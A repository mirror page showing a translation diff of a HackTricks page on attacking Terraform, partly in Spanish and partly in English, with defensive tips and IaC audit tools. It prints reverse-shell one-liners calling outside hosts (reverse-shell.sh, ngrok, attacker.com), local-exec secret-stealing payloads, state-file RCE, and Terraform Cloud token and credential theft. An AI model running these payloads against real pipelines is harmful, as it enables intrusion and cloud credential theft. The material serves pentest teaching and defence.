gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-29 07:00:29 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-ci-cd/terraform-security.md'] to es

Browse Source
This commit is contained in:
Translator
2025-11-17 15:45:44 +00:00
parent ef70be1072
commit 1a0ecc3867
1 changed files with 141 additions and 104 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-ci-cd/terraform-security.md
+141 -104
View File
@@ -1,68 +1,68 @@
# Seguridad de Terraform
# Terraform Seguridad
{{#include ../banners/hacktricks-training.md}}
## Información Básica
## Información básica
[De la documentación:](https://developer.hashicorp.com/terraform/intro)
[From the docs:](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraform es una **herramienta de infraestructura como código** que te permite definir tanto **recursos en la nube como en local** en archivos de configuración legibles por humanos que puedes versionar, reutilizar y compartir. Luego puedes usar un flujo de trabajo consistente para aprovisionar y gestionar toda tu infraestructura a lo largo de su ciclo de vida. Terraform puede gestionar componentes de bajo nivel como recursos de computación, almacenamiento y redes, así como componentes de alto nivel como entradas DNS y características de SaaS.
HashiCorp Terraform es una **herramienta de infraestructura como código** que te permite definir tanto **recursos en la nube y on-prem** en archivos de configuración legibles por humanos que puedes versionar, reutilizar y compartir. Luego puedes usar un flujo de trabajo consistente para provisionar y gestionar toda tu infraestructura a lo largo de su ciclo de vida. Terraform puede gestionar componentes de bajo nivel como cómputo, almacenamiento y recursos de red, así como componentes de alto nivel como entradas DNS y funcionalidades SaaS.
#### ¿Cómo funciona Terraform?
Terraform crea y gestiona recursos en plataformas en la nube y otros servicios a través de sus interfaces de programación de aplicaciones (APIs). Los proveedores permiten que Terraform trabaje con prácticamente cualquier plataforma o servicio con una API accesible.
Terraform crea y gestiona recursos en plataformas cloud y otros servicios a través de sus interfaces de programación de aplicaciones (APIs). Los providers permiten que Terraform funcione con prácticamente cualquier plataforma o servicio que tenga una API accesible.
![](<../images/image (177).png>)
HashiCorp y la comunidad de Terraform ya han escrito **más de 1700 proveedores** para gestionar miles de diferentes tipos de recursos y servicios, y este número sigue creciendo. Puedes encontrar todos los proveedores disponibles públicamente en el [Registro de Terraform](https://registry.terraform.io/), incluyendo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, y muchos más.
HashiCorp y la comunidad de Terraform ya han escrito **más de 1700 providers** para gestionar miles de tipos diferentes de recursos y servicios, y este número sigue creciendo. Puedes encontrar todos los providers disponibles públicamente en el [Terraform Registry](https://registry.terraform.io/), incluyendo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, y muchos más.
El flujo de trabajo central de Terraform consiste en tres etapas:
El flujo de trabajo central de Terraform consta de tres etapas:
- **Escribir:** Defines recursos, que pueden estar en múltiples proveedores y servicios en la nube. Por ejemplo, podrías crear una configuración para desplegar una aplicación en máquinas virtuales en una red de Nube Privada Virtual (VPC) con grupos de seguridad y un balanceador de carga.
- **Planificar:** Terraform crea un plan de ejecución que describe la infraestructura que creará, actualizará o destruirá en función de la infraestructura existente y tu configuración.
- **Aplicar:** Con la aprobación, Terraform realiza las operaciones propuestas en el orden correcto, respetando cualquier dependencia de recursos. Por ejemplo, si actualizas las propiedades de una VPC y cambias el número de máquinas virtuales en esa VPC, Terraform recreará la VPC antes de escalar las máquinas virtuales.
- **Write:** Defines los recursos, que pueden abarcar múltiples proveedores cloud y servicios. Por ejemplo, podrías crear una configuración para desplegar una aplicación en máquinas virtuales dentro de una Virtual Private Cloud (VPC) con grupos de seguridad y un balanceador de carga.
- **Plan:** Terraform crea un plan de ejecución que describe la infraestructura que va a crear, actualizar o destruir basándose en la infraestructura existente y tu configuración.
- **Apply:** Tras la aprobación, Terraform realiza las operaciones propuestas en el orden correcto, respetando las dependencias entre recursos. Por ejemplo, si actualizas las propiedades de una VPC y cambias el número de máquinas virtuales en esa VPC, Terraform recreará la VPC antes de escalar las máquinas virtuales.
![](<../images/image (215).png>)
### Laboratorio de Terraform
Solo instala terraform en tu computadora.
Solo instala terraform en tu ordenador.
Aquí tienes una [guía](https://learn.hashicorp.com/tutorials/terraform/install-cli) y aquí tienes la [mejor manera de descargar terraform](https://www.terraform.io/downloads).
Aquí tienes una [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) y aquí tienes la [best way to download terraform](https://www.terraform.io/downloads).
## RCE en Terraform: envenenamiento de archivos de configuración
## RCE in Terraform: config file poisoning
Terraform **no tiene una plataforma que exponga una página web o un servicio de red** que podamos enumerar, por lo tanto, la única forma de comprometer terraform es **poder agregar/modificar archivos de configuración de terraform** o **poder modificar el archivo de estado de terraform** (ver capítulo a continuación).
Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below).
Sin embargo, terraform es un **componente muy sensible** a comprometer porque tendrá **acceso privilegiado** a diferentes ubicaciones para que funcione correctamente.
However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
La principal forma para que un atacante pueda comprometer el sistema donde se está ejecutando terraform es **comprometer el repositorio que almacena las configuraciones de terraform**, porque en algún momento van a ser **interpretadas**.
The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
De hecho, hay soluciones que **ejecutan terraform plan/apply automáticamente después de que se crea un PR**, como **Atlantis**:
Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
{{#ref}}
atlantis-security.md
{{#endref}}
Si puedes comprometer un archivo de terraform, hay diferentes maneras en las que puedes realizar RCE cuando alguien ejecuta `terraform plan` o `terraform apply`.
If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
### Terraform plan
Terraform plan es el **comando más utilizado** en terraform y los desarrolladores/soluciones que utilizan terraform lo llaman todo el tiempo, por lo que la **manera más fácil de obtener RCE** es asegurarte de envenenar un archivo de configuración de terraform que ejecute comandos arbitrarios en un `terraform plan`.
Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
**Usando un proveedor externo**
**Using an external provider**
Terraform ofrece el [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) que proporciona una forma de interaccionar entre Terraform y programas externos. Puedes usar la fuente de datos `external` para ejecutar código arbitrario durante un `plan`.
Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
Inyectar en un archivo de configuración de terraform algo como lo siguiente ejecutará un rev shell al ejecutar `terraform plan`:
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**Usando un proveedor personalizado**
**Usando un custom provider**
Un atacante podría enviar un [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) al [Terraform Registry](https://registry.terraform.io/) y luego agregarlo al código de Terraform en una rama de características ([ejemplo de aquí](https://alex.kaskaso.li/post/terraform-plan-rce)):
Un atacante podría enviar un [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) al [Terraform Registry](https://registry.terraform.io/) y luego añadirlo al código de Terraform en una feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
@@ -75,28 +75,28 @@ version = "1.0"
provider "evil" {}
```
El proveedor se descarga en el `init` y ejecutará el código malicioso cuando se ejecute `plan`.
El provider se descarga en `init` y ejecutará el código malicioso cuando se ejecute `plan`
Puedes encontrar un ejemplo en [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
**Usando una referencia externa**
Ambas opciones mencionadas son útiles pero no muy sigilosas (la segunda es más sigilosa pero más compleja que la primera). Puedes realizar este ataque incluso de una **manera más sigilosa**, siguiendo estas sugerencias:
Ambas opciones mencionadas son útiles pero no muy sigilosas (la segunda es más sigilosa pero más compleja que la primera). Puedes realizar este ataque de una **manera más sigilosa**, siguiendo estas sugerencias:
- En lugar de agregar el rev shell directamente en el archivo de terraform, puedes **cargar un recurso externo** que contenga el rev shell:
- En lugar de añadir el rev shell directamente en el terraform file, puedes **cargar un recurso externo** que contenga el rev shell:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
Puedes encontrar el código de rev shell en [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
Puedes encontrar el rev shell code en [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- En el recurso externo, utiliza la función **ref** para ocultar el **código de rev shell de terraform en una rama** dentro del repositorio, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- En el recurso externo, usa la característica **ref** para ocultar el **terraform rev shell code en una rama** dentro del repo, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
Terraform apply se ejecutará para aplicar todos los cambios, también puedes abusar de él para obtener RCE inyectando **un archivo de Terraform malicioso con** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
Solo necesitas asegurarte de que alguna carga útil como las siguientes termine en el archivo `main.tf`:
Terraform apply se ejecutará para aplicar todos los cambios; también puedes abusar de él para obtener RCE inyectando **un archivo Terraform malicioso con** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html).
Solo necesitas asegurarte de que algún payload como los siguientes termine en el archivo `main.tf`:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
@@ -112,27 +112,27 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Sigue las **sugerencias de la técnica anterior** para realizar este ataque de una **manera más sigilosa utilizando referencias externas**.
Sigue las **sugerencias de la técnica anterior** para realizar este ataque de una **manera más sigilosa usando referencias externas**.
## Secrets Dumps
Puedes tener **valores secretos utilizados por terraform volcados** ejecutando `terraform apply` al agregar al archivo de terraform algo como:
Puedes hacer que se **vuelquen los valores secretos usados por terraform** ejecutando `terraform apply` añadiendo al archivo terraform algo como:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
}
```
## Abusando de los Archivos de Estado de Terraform
## Abusar de los archivos de estado de Terraform
En caso de que tengas acceso de escritura sobre los archivos de estado de terraform pero no puedas cambiar el código de terraform, [**esta investigación**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) ofrece algunas opciones interesantes para aprovechar el archivo. Incluso si tuvieras acceso de escritura sobre los archivos de configuración, usar el vector de archivos de estado es a menudo mucho más sigiloso, ya que no dejas rastros en el historial de `git`.
En caso de que tengas acceso de escritura sobre los archivos de estado de terraform pero no puedas cambiar el código de terraform, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) ofrece algunas opciones interesantes para aprovechar el archivo. Incluso si tuvieras acceso de escritura sobre los archivos de configuración, usar el vector de archivos de estado suele ser mucho más sigiloso, ya que no dejas rastros en el historial de `git`.
### RCE en Terraform: envenenamiento de archivos de configuración
### RCE in Terraform: config file poisoning
Es posible [crear un proveedor personalizado](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) y simplemente reemplazar uno de los proveedores en el archivo de estado de terraform por el malicioso o agregar un recurso falso que haga referencia al proveedor malicioso.
It is possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.
El proveedor [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) se basa en la investigación y arma este principio. Puedes agregar un recurso falso y declarar el comando bash arbitrario que deseas ejecutar en el atributo `command`. Cuando se activa la ejecución de `terraform`, esto será leído y ejecutado tanto en los pasos de `terraform plan` como en `terraform apply`. En el caso del paso `terraform apply`, `terraform` eliminará el recurso falso del archivo de estado después de ejecutar tu comando, limpiando después de sí mismo. Más información y una demostración completa se pueden encontrar en el [repositorio de GitHub que aloja el código fuente para este proveedor](https://github.com/offensive-actions/terraform-provider-statefile-rce).
The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
Para usarlo directamente, simplemente incluye lo siguiente en cualquier posición del array `resources` y personaliza los atributos `name` y `command`:
To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:
```json
{
"mode": "managed",
@@ -152,15 +152,13 @@ Para usarlo directamente, simplemente incluye lo siguiente en cualquier posició
]
}
```
Entonces, tan pronto como se ejecute `terraform`, tu código se ejecutará.
### Eliminando recursos <a href="#deleting-resources" id="deleting-resources"></a>
### Eliminación de recursos <a href="#deleting-resources" id="deleting-resources"></a>
Hay 2 formas de destruir recursos:
1. **Insertar un recurso con un nombre aleatorio en el archivo de estado que apunte al recurso real a destruir**
1. **Insertar un recurso con un nombre aleatorio en el state file apuntando al recurso real a destruir**
Porque terraform verá que el recurso no debería existir, lo destruirá (siguiendo el ID del recurso real indicado). Ejemplo de la página anterior:
Porque `terraform` verá que el recurso no debería existir, lo destruirá (siguiendo el ID del recurso real indicado). Ejemplo de la página anterior:
```json
{
"mode": "managed",
@@ -176,13 +174,13 @@ Porque terraform verá que el recurso no debería existir, lo destruirá (siguie
]
},
```
2. **Modifique el recurso para eliminarlo de manera que no sea posible actualizarlo (así será eliminado y recreado)**
2. **Modificar el recurso para eliminarlo de forma que no sea posible actualizarlo (por lo que se eliminará y recreará)**
Para una instancia EC2, modificar el tipo de la instancia es suficiente para que terraform la elimine y la recree.
Para una instancia EC2, modificar el tipo de la instancia es suficiente para hacer que terraform la elimine y la recree.
### Reemplace el proveedor en la lista negra
### Reemplazar proveedor en lista negra
En caso de que se encuentre en una situación donde `hashicorp/external` esté en la lista negra, puede reimplementar el proveedor `external` haciendo lo siguiente. Nota: Usamos un fork del proveedor external publicado por https://registry.terraform.io/providers/nazarewk/external/latest. También puede publicar su propio fork o reimplementación.
En caso de que te encuentres con una situación donde `hashicorp/external` fue incluido en la lista negra, puedes re-implementar el provider `external` haciendo lo siguiente. Nota: Usamos un fork del proveedor external publicado en https://registry.terraform.io/providers/nazarewk/external/latest. También puedes publicar tu propio fork o reimplementación.
```terraform
terraform {
required_providers {
@@ -199,21 +197,21 @@ data "external" "example" {
program = ["sh", "-c", "whoami"]
}
```
## Terraform Cloud speculative plan RCE y exfiltración de credenciales
## Terraform Cloud speculative plan RCE y credential exfiltration
Este escenario abusa de los runners de Terraform Cloud (TFC) durante los planes especulativos para pivotar en la cuenta de nube objetivo.
Este escenario abusa de los runners de Terraform Cloud (TFC) durante speculative plans para pivotar hacia la cuenta cloud objetivo.
- Precondiciones:
- Robar un token de Terraform Cloud de una máquina de desarrollador. La CLI almacena tokens en texto plano en `~/.terraform.d/credentials.tfrc.json`.
- El token debe tener acceso a la organización/espacio de trabajo objetivo y al menos el permiso de `plan`. Los espacios de trabajo respaldados por VCS bloquean `apply` desde la CLI, pero aún permiten planes especulativos.
- Preconditions:
- Robar un Terraform Cloud token de una máquina de desarrollador. La CLI almacena tokens en texto plano en `~/.terraform.d/credentials.tfrc.json`.
- El token debe tener acceso a la organización/workspace objetivo y al menos el permiso `plan`. Los workspaces respaldados por VCS bloquean `apply` desde la CLI, pero todavía permiten speculative plans.
- Descubrir la configuración del espacio de trabajo y VCS a través de la API de TFC:
- Discover workspace and VCS settings via the TFC API:
```bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
```
- Disparar la ejecución de código durante un plan especulativo utilizando la fuente de datos externa y el bloque "cloud" de Terraform Cloud para dirigirse al espacio de trabajo respaldado por VCS:
- Disparar la ejecución de código durante un speculative plan usando el external data source y el bloque "cloud" de Terraform Cloud para apuntar al VCS-backed workspace:
```hcl
terraform {
cloud {
@@ -226,30 +224,30 @@ data "external" "exec" {
program = ["bash", "./rsync.sh"]
}
```
Ejemplo de rsync.sh para obtener un shell reverso en el corredor de TFC:
Ejemplo de rsync.sh para obtener un reverse shell en el TFC runner:
```bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
```
Ejecuta un plan especulativo para ejecutar el programa en el corredor efímero:
Realiza un plan especulativo para ejecutar el programa en el runner efímero:
```bash
terraform init
terraform plan
```
- Enumerar y exfiltrar credenciales de nube inyectadas del runner. Durante las ejecuciones, TFC inyecta credenciales del proveedor a través de archivos y variables de entorno:
- Enumerar y exfiltrate las credenciales en la nube inyectadas desde el runner. Durante las ejecuciones, TFC inyecta credenciales del proveedor vía archivos y variables de entorno:
```bash
env | grep -i gcp || true
env | grep -i aws || true
```
Archivos esperados en el directorio de trabajo del runner:
- GCP:
- `tfc-google-application-credentials` (configuración JSON de Federación de Identidad de Carga de Trabajo)
- `tfc-google-application-credentials` (config JSON de Workload Identity Federation)
- `tfc-gcp-token` (token de acceso GCP de corta duración)
- AWS:
- `tfc-aws-shared-config` (configuración de asunción de rol de identidad web/OIDC)
- `tfc-aws-shared-config` (config para asunción de roles web identity/OIDC)
- `tfc-aws-token` (token de corta duración; algunas organizaciones pueden usar claves estáticas)
- Utiliza las credenciales de corta duración fuera de banda para eludir las puertas de enlace VCS:
- Usa las credenciales de corta duración fuera de banda para eludir los gates de VCS:
GCP (gcloud):
```bash
@@ -263,26 +261,52 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
```
Con estas credenciales, los atacantes pueden crear/modificar/destruir recursos directamente utilizando CLIs nativas, eludiendo flujos de trabajo basados en PR que bloquean `apply` a través de VCS.
Con estas credenciales, los atacantes pueden crear/modificar/eliminar recursos directamente usando CLIs nativos, eludiendo flujos de trabajo basados en PR que bloquean `apply` vía VCS.
- Orientación defensiva:
- Aplique el principio de menor privilegio a los usuarios/equipos y tokens de TFC. Audite las membresías y evite propietarios sobredimensionados.
- Restringa el permiso de `plan` en espacios de trabajo respaldados por VCS sensibles cuando sea posible.
- Haga cumplir listas de permitidos de proveedores/fuentes de datos con políticas de Sentinel para bloquear `data "external"` o proveedores desconocidos. Consulte la orientación de HashiCorp sobre filtrado de proveedores.
- Prefiera OIDC/WIF sobre credenciales de nube estáticas; trate a los runners como sensibles. Monitoree las ejecuciones de planes especulativos y el egreso inesperado.
- Detecte la exfiltración de artefactos de credenciales `tfc-*` y alerte sobre el uso sospechoso de programas `external` durante los planes.
- Defensive guidance:
- Aplica el principio de mínimo privilegio a usuarios/equipos y tokens de TFC. Audita membresías y evita propietarios con permisos excesivos.
- Restringe el permiso `plan` en workspaces sensibles respaldados por VCS cuando sea posible.
- Implementa allowlists de provider/data source con políticas Sentinel para bloquear `data "external"` o providers desconocidos. Consulta la guía de HashiCorp sobre provider filtering.
- Prefiere OIDC/WIF sobre credenciales cloud estáticas; considera los runners como sensibles. Monitorea ejecuciones de `plan` especulativas y egresos inesperados.
- Detecta la exfiltración de artefactos de credenciales `tfc-*` y alerta sobre uso sospechoso del programa `external` durante ejecuciones de `plan`.
## Herramientas de Auditoría Automática
## Comprometiendo Terraform Cloud
### Usando un token
Como **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI almacena tokens en texto plano en **`~/.terraform.d/credentials.tfrc.json`**. Robar este token permite a un atacante hacerse pasar por el usuario dentro del alcance del token.
Usando este token es posible obtener la org/workspace con:
```bash
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>
```
Entonces es posible ejecutar código arbitrario usando **`terraform plan`** como se explicó en el capítulo anterior.
### Escapar a la nube
Entonces, si el runner está ubicado en algún entorno en la nube, es posible obtener un token del principal adjunto al runner y utilizarlo fuera de banda.
- **GCP files (presentes en el directorio de trabajo de la ejecución actual)**
- `tfc-google-application-credentials` — configuración JSON para Workload Identity Federation (WIF) que indica a Google cómo intercambiar la identidad externa.
- `tfc-gcp-token` — token de acceso de GCP de corta duración (≈1 hora) referenciado por el anterior
- **AWS files**
- `tfc-aws-shared-config` — JSON para web identity federation/OIDC role assumption (preferido frente a claves estáticas).
- `tfc-aws-token` — token de corta duración, o potencialmente claves IAM estáticas si está mal configurado.
## Herramientas de auditoría automáticas
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
Snyk ofrece una solución integral de escaneo de Infrastructure as Code (IaC) que detecta vulnerabilidades y configuraciones incorrectas en Terraform, CloudFormation, Kubernetes y otros formatos de IaC.
Snyk ofrece una solución integral de escaneo Infrastructure as Code (IaC) que detecta vulnerabilidades y malas configuraciones en Terraform, CloudFormation, Kubernetes y otros formatos IaC.
- **Características:**
- Escaneo en tiempo real para vulnerabilidades de seguridad y problemas de cumplimiento.
- Integración con sistemas de control de versiones (GitHub, GitLab, Bitbucket).
- Solicitudes de extracción de corrección automatizadas.
- Pull requests de corrección automatizados.
- Consejos detallados de remediación.
- **Regístrate:** Crea una cuenta en [Snyk](https://snyk.io/).
```bash
@@ -293,28 +317,28 @@ snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
**Checkov** es una herramienta de análisis de código estático para infraestructura como código (IaC) y también una herramienta de análisis de composición de software (SCA) para imágenes y paquetes de código abierto.
**Checkov** es una herramienta de análisis estático de código para infraestructura como código (IaC) y también una herramienta de análisis de composición de software (SCA) para imágenes y paquetes de código abierto.
Escanea la infraestructura en la nube provisionada utilizando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) o [OpenTofu](https://opentofu.org/) y detecta configuraciones incorrectas de seguridad y cumplimiento utilizando escaneo basado en gráficos.
Escanea la infraestructura en la nube aprovisionada usando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) y detecta misconfiguraciones de seguridad y cumplimiento mediante un escaneo basado en grafos.
Realiza [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que es un escaneo de paquetes de código abierto e imágenes para Vulnerabilidades y Exposiciones Comunes (CVEs).
Realiza [Software Composition Analysis (SCA scanning)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que es un escaneo de paquetes de código abierto e imágenes en busca de Common Vulnerabilities and Exposures (CVEs).
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
Desde la [**documentación**](https://github.com/terraform-compliance/cli): `terraform-compliance` es un marco de prueba ligero, enfocado en seguridad y cumplimiento, contra terraform para habilitar la capacidad de pruebas negativas para tu infraestructura como código.
Desde la [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` es un framework de pruebas ligero, centrado en seguridad y cumplimiento, para terraform que permite realizar pruebas negativas en tu infraestructura como código.
- **cumplimiento:** Asegúrate de que el código implementado siga los estándares de seguridad, tus propios estándares personalizados.
- **compliance:** Asegura que el código implementado cumple con los estándares de seguridad y con tus propios estándares personalizados
- **desarrollo guiado por comportamiento:** Tenemos BDD para casi todo, ¿por qué no para IaC?
- **portátil:** solo instálalo desde `pip` o ejecútalo a través de `docker`. Consulta [Instalación](https://terraform-compliance.com/pages/installation/)
- **pre-despliegue:** valida tu código antes de que se despliegue.
- **fácil de integrar:** puede ejecutarse en tu pipeline (o en ganchos de git) para asegurar que todos los despliegues sean validados.
- **segregación de deberes:** puedes mantener tus pruebas en un repositorio diferente donde un equipo separado sea responsable.
- **portátil:** simplemente instálalo con `pip` o ejecútalo vía `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** valida tu código antes de desplegarlo
- **fácil de integrar:** puede ejecutarse en tu pipeline (o en git hooks) para asegurar que todos los despliegues sean validados.
- **separación de funciones:** puedes mantener tus tests en un repositorio distinto donde un equipo separado sea responsable.
> [!NOTE]
> Desafortunadamente, si el código está utilizando algunos proveedores a los que no tienes acceso, no podrás realizar el `terraform plan` y ejecutar esta herramienta.
> Desafortunadamente, si el código usa algunos proveedores a los que no tienes acceso, no podrás ejecutar `terraform plan` ni usar esta herramienta.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
@@ -322,40 +346,53 @@ terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)
Desde la [**docs**](https://github.com/aquasecurity/tfsec): tfsec utiliza análisis estático de tu código de terraform para detectar posibles configuraciones incorrectas.
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec usa análisis estático de tu código de terraform para detectar posibles errores de configuración.
- ☁️ Verifica configuraciones incorrectas en todos los principales (y algunos menores) proveedores de nube
- ☁️ Verifica configuraciones incorrectas en todos los principales (y algunos secundarios) proveedores cloud
- ⛔ Cientos de reglas integradas
- 🪆 Escanea módulos (locales y remotos)
- ➕ Evalúa expresiones HCL así como valores literales
- ↪️ Evalúa funciones de Terraform, por ejemplo, `concat()`
- ↪️ Evalúa funciones de Terraform p. ej. `concat()`
- 🔗 Evalúa relaciones entre recursos de Terraform
- 🧰 Compatible con el Terraform CDK
- 🙅 Aplica (y embellece) políticas Rego definidas por el usuario
- 📃 Soporta múltiples formatos de salida: lovely (predeterminado), JSON, SARIF, CSV, CheckStyle, JUnit, texto, Gif.
- 🛠️ Configurable (a través de flags de CLI y/o archivo de configuración)
- ⚡ Muy rápido, capaz de escanear rápidamente grandes repositorios
- 🧰 Compatible con Terraform CDK
- 🙅 Aplica (y enriquece) políticas Rego definidas por el usuario
- 📃 Soporta múltiples formatos de salida: lovely (por defecto), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ Configurable (vía flags de CLI y/o archivo de configuración)
- ⚡ Muy rápido; capaz de escanear rápidamente repositorios enormes
```bash
brew install tfsec
tfsec /path/to/folder
```
### [terrascan](https://github.com/tenable/terrascan)
Terrascan es un analizador estático de código para Infraestructura como Código. Terrascan permite:
- Escanear de forma fluida la infraestructura como código en busca de misconfiguraciones.
- Monitorizar la infraestructura cloud provisionada en busca de cambios de configuración que introduzcan posture drift, y permitir revertir a una postura segura.
- Detectar vulnerabilidades de seguridad y violaciones de cumplimiento.
- Mitigar riesgos antes de provisionar infraestructura nativa en la nube.
- Ofrece flexibilidad para ejecutarse localmente o integrarse con tu CI\CD.
```bash
brew install terrascan
terrascan scan -d /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
